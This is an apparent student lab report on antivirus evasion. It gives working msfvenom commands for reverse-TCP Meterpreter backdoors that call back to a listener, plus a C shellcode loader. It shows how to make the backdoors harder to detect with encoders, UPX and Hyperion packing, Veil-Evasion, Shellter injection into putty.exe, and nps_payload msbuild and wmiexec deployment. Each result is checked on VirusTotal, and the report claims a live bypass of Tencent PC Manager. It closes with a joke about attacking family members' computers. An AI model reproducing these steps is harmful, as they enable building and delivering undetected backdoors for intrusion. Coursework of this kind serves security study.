Exp3 免杀原理与实践 Exp3 免杀原理与实践

一、基础问题回答

以下问题在远控免杀从入门到实践(1):基础篇均有完整的介绍和解答,这个系列的讲解也非常系统详细

  1. 杀软是如何检测出恶意代码的?

    答:可以根据特征码检测,特征库收集恶意程序的特征码提供给杀软,如果杀软检测到程序中有特征库中的特征码,就可以判断此程序中包含恶意代码;可以通过恶意行为来检测,即有恶意行为则报警;可以通过定期的文件校验来检测,若文件校验和与原来保存的校验和不一致,则可能感染病毒。

  2. 免杀是做什么?

    答:免杀就是反杀毒技术,使恶意程序的特征不能被杀毒软件检测到以被杀/删掉。

  3. 免杀的基本方法有哪些?

    答:有修改特征码、花指令免杀、加壳免杀、内存免杀、二次编译、分离免杀、资源修改。本次实验中主要通过加壳、二次编译、分离免杀等方式更改特征码来避免特征码检测,也可以通过反弹连接、隧道技术等方式避免行为检测,不过一般还没行动就会被杀掉。

  4. 开启杀软能绝对防止电脑中恶意代码吗?

    答:不能,如果杀软的病毒库没有更新,就检测不到新的被发现的恶意代码,更不用说还有未被发现特征的病毒未被记录在病毒库中。

二、实验总结与体会

本次实验中遇到了不少问题,尤其是在安装veil的时候的问题比较多,尝试实现免杀的过程非常煎熬,最终还是使用了较为弱的杀毒软件才实现了免杀。在实践过程中对上一次实验中设置的payload是做什么的,另外对配置环境变量的重要性有所体会。可以自己完成一些简单的恶意攻击还是挺有成就感的,等回家攻击攻击家人的XP和win7吧。

三、实践过程记录

3.1 免杀检测

  1. 同实验二的方式使用如下命令生成后门程序

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor.exe
    
  2. 放入VirusTotalVirscan中进行扫描

    • VirusTotal扫描结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    • Virscan扫描结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

3.2 正确使用msf编码器,生成exe文件

  1. 输入msfvenom -l查看msfvenom相关参数

    Exp3 免杀原理与实践
Exp3 免杀原理与实践可以看到-f可以选择输出后门的格式,-e可以选择编码器,-b可以去除字符,-i可以设置迭代次数等

  2. 一次编码后门程序并检测

    不设置-i迭代次数则默认为1

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor2.exe
    

    Exp3 免杀原理与实践
Exp3 免杀原理与实践VirusTotal检测结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  3. 十次编码后门程序并检测

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor3.exe
    

    Exp3 免杀原理与实践
Exp3 免杀原理与实践VirusTotal检测结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践可疑度反而上升了

3.3 msfvenom生成如jar之类的其他文件

生成java后门程序

msfvenom -p java/shell_reverse_tcp  LHOST=192.168.31.92 LPORT=11214 -f jar > 20181214jar.jar

Exp3 免杀原理与实践
Exp3 免杀原理与实践VirusTotal检测结果Exp3 免杀原理与实践
Exp3 免杀原理与实践

生成php后门程序

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 x> 20181214php.php

Exp3 免杀原理与实践
Exp3 免杀原理与实践VirusTotal检测结果Exp3 免杀原理与实践
Exp3 免杀原理与实践

3.4 veil

安装veil

  1. 使用sudo apt-get install veil-evasion命令安装veil

    期间出现了veil err:mscoree:LoadLibraryShim error reading registry key for installroot错误。参考安装Veil 3.0时出错 (事实上查看错误信息就可以解决), sudo mkdir /run/user/0 然后重新运行 ./config/setup.sh --force --silent解决了问题

  2. 修改git源

    由于使用了github上的资源而没有合 理 上 网,在加载过程中会特别慢以致连不上网,所以我们需要将安装文件中的gitub资源改为码云资源。先vim /usr/share/veil/config/setup.sh进.sh文件,输入/VeilDependencies.git找到位置,在用sudo git clone https://gitee.com/spears/VeilDependencies.git把这句替换掉即可。

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    成功运行Veil

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

使用veil

  1. 输入use evasion进入Veil-Evasion

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  2. 输入use powershell/shellcode_inject/psexec_virtual.py c/meterpreter/rev_tcp.py进入配置界面

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  3. 设置反弹连接IP,输入Kali的IP:set LHOST 192.168.31.92

  4. 设置端口:set LPORT 1214,完成配置,可输入option查看当前配置

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  5. 输入generate生成后门程序文件,并命名playload

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    成功生成exe文件,文件路径如图所示(var目录和root目录同级)

  6. 检验可用性

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  7. VirusTotal检测结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

3.5 加壳工具

压缩壳

通过减少将后门程序压缩的方式进行免杀,使用命令upx infile -o outfile即可加壳

  • 对实验二生成的后门程序20181214_backdoor.exe加壳

    1. 使用命令upx 20181214_backdoor.exe -o upx 20181214_backdoor.upxed.exe
      Exp3 免杀原理与实践
Exp3 免杀原理与实践
  1. 测试可用性
    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  2. VirusTotal检测结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践对照结果,加壳后的检测率略有降低

  • 对veil生成的后门程序veil_1812.exe加壳

    1. 使用命令upx veil_1812.exe -o veil_181214upx.exe
      Exp3 免杀原理与实践
Exp3 免杀原理与实践
    2. VirusTotal检测结果
      Exp3 免杀原理与实践
Exp3 免杀原理与实践
      检测率不降反升,猜测有些检测软件看到加壳后会加 大 力 度

加密壳

从上面的结果可以看到,压缩壳的免杀效果并不是很好,我们再使用Hyperion对后台程序加加密壳

我们需要先装一下Hyperion,用码云上的资源包下载wget https://gitee.com/guoguogewangzi/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip,然后unzip Hyperion-2.2.zip解压

Exp3 免杀原理与实践
Exp3 免杀原理与实践

进入Hyperion-2.2文件夹,vim修改makefile,将第一行改为 CC = i686-w64-mingw32-gcc,之后make编译一下

Exp3 免杀原理与实践
Exp3 免杀原理与实践

  • 对实验二生成的后门程序20181214_backdoor.exe加壳

    1. 使用wine hyperion.exe -v 20181214_backdoor.exe 20181214_backdoor_upxed_Hyperion.exe命令生成加密后门程序,注意需要先将后门程序移入Hyperion-2.2文件夹

      Exp3 免杀原理与实践
Exp3 免杀原理与实践

    2. 测试可用性

      Exp3 免杀原理与实践
Exp3 免杀原理与实践

      这次是能够执行完exe文件,不过msf那边会慢一些

    3. VirusTotal检测结果

      Exp3 免杀原理与实践
Exp3 免杀原理与实践

效果和压缩壳一样

  • 对veil生成的后门程序veil_1812.exe加壳

    1. 使用命令wine hyperion.exe -v veil_1812.exe veil_1812_Hyperion.exe

Exp3 免杀原理与实践
Exp3 免杀原理与实践

  1. 测试可用性

Exp3 免杀原理与实践
Exp3 免杀原理与实践

  1. VirusTotal检测结果
 ![image-20210405210330875](https://i.loli.net/2021/04/05/NDnTRpjmUyx1wMF.png)
 
 检测率仍然不降反升,可能是检测软件对我们自主生成的后门程序不太敏感,反而是对壳特别敏感,在4.8部分我会组合使用他们看看到底是怎么样

3.6 使用C + shellcode编程

  1. 生成一段C语言shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f c

Exp3 免杀原理与实践
Exp3 免杀原理与实践

  1. 将shellcode放入如下代码中

    unsigned char buf[] = 
    "shellcode数组内容"
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

Exp3 免杀原理与实践
Exp3 免杀原理与实践

  1. 使用命令i686-w64-mingw32-g++ 20181214.c -o 20181214.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序20181214.exe

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  2. 测试可用性

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  3. VirusTotal检测结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

3.7 使用其他课堂未介绍方法

使用Veil-Evasion的其他荷载生成后门方式

  1. 启动veil,输入use evasion进入evasion,输入list查看可用的有效荷载Exp3 免杀原理与实践
Exp3 免杀原理与实践

  2. 输入use 13选择荷载cs/shellcode_inject/virtual.py
    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  3. 设置用户名,generate生成,并对荷载、端口、ip等进行配置
    Exp3 免杀原理与实践
Exp3 免杀原理与实践

路径如下

Exp3 免杀原理与实践
Exp3 免杀原理与实践

  1. 通过生成的exe文件和rc文件进行MSF调用

    将exe文件发到主机上,进入rc文件所在文件夹执行msf命令

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    主机中执行exe,msf中自动连接上了

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  2. VirusTotal检测结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

Shellter 免杀

  1. 准备PE文件

    从https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html中下载32位putty.exe

  2. 生成payload

    在kali终端中输入shellter运行,选择模式Auto,输入PE文件路径

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    选择隐身模式,选择windows/meterpreter/reverse_tcp作为payload,输入ip和端口号

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    成功生成

  3. 验证可用性

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  4. VirusTotal检测结果

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

nps_payload 免杀(失败)

  1. 安装nps_payload

    使用git clone https://gitee.com/sin29/nps_payload.git命令克隆到本地,库是从github中导入码云的

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    进入nps_payload文件夹后,使用pip install -r requirements.txt命令安装依赖

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  2. 利用nps_payload生成后门

    看源码中nps_payload貌似提供了python2和python3两种执行方式,但python2少个库,python3 nps_payload.py运行

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    这里会进入一个死循环,进入不了下一选项

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    我们vim查看.py文件,在代码末端发现输入的选项是默认的字符而options选择的却是数字,将409行的task = input(" Select a task:")改为task = int(input(" Select a task:"))即可,102、229行也有这个问题,已经在github上提交问题

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    运行后,第一步选择生成,选择1:Generate msbuild/nps/msf payload,第二步选择payload,选择1:windows/meterpreter/reverse_tcp,并设置ip和端口

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

    成功生成后门文件,并给出了提示文件

    Exp3 免杀原理与实践
Exp3 免杀原理与实践

  3. 检测可用性

    虚拟机msf设置payload、ip和端口进行监听,将生成的xml文件发到主机上,在主机上使用如下命令执行

      a. Local File Deployment:
        - %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe D:joeymsbuild_nps.xml                              
      b. Remote File Deployment:
        - wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe \<attackerip><share>msbuild_nps.xml       
    

    发现没有成功生成xml文件,暂时没办法

3.8 通过组合应用各种技术实现恶意代码免杀

使用veil+压缩壳+加密壳的方式,未能实现免杀

使用c+shellcode+Hyperion的方式,未能实现免杀

在杀软版本较低的主机中能实现免杀

Exp3 免杀原理与实践
Exp3 免杀原理与实践

3.9 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

杀软版本为腾讯电脑管家 13.5.20525.234

Exp3 免杀原理与实践
Exp3 免杀原理与实践

Exp3 免杀原理与实践
Exp3 免杀原理与实践